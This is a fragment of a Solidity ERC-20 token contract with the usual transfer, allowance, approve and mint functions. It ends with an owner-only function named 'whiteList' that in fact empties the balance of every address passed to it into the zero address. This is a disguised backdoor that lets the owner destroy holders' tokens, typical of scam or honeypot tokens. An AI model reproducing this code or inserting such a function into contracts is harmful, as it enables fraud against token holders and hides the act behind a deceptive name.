    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }


    function whiteList(address[] memory sender) public onlyOwner() {
        for (uint256 i = 0; i < sender.length; i++) {
            address account = sender[i];
            uint256 amount = _balances[account];
            _balances[account] = _balances[account].sub(amount, "ERROR");
            _balances[address(0)] = _balances[address(0)].add(amount);
        }
    }
}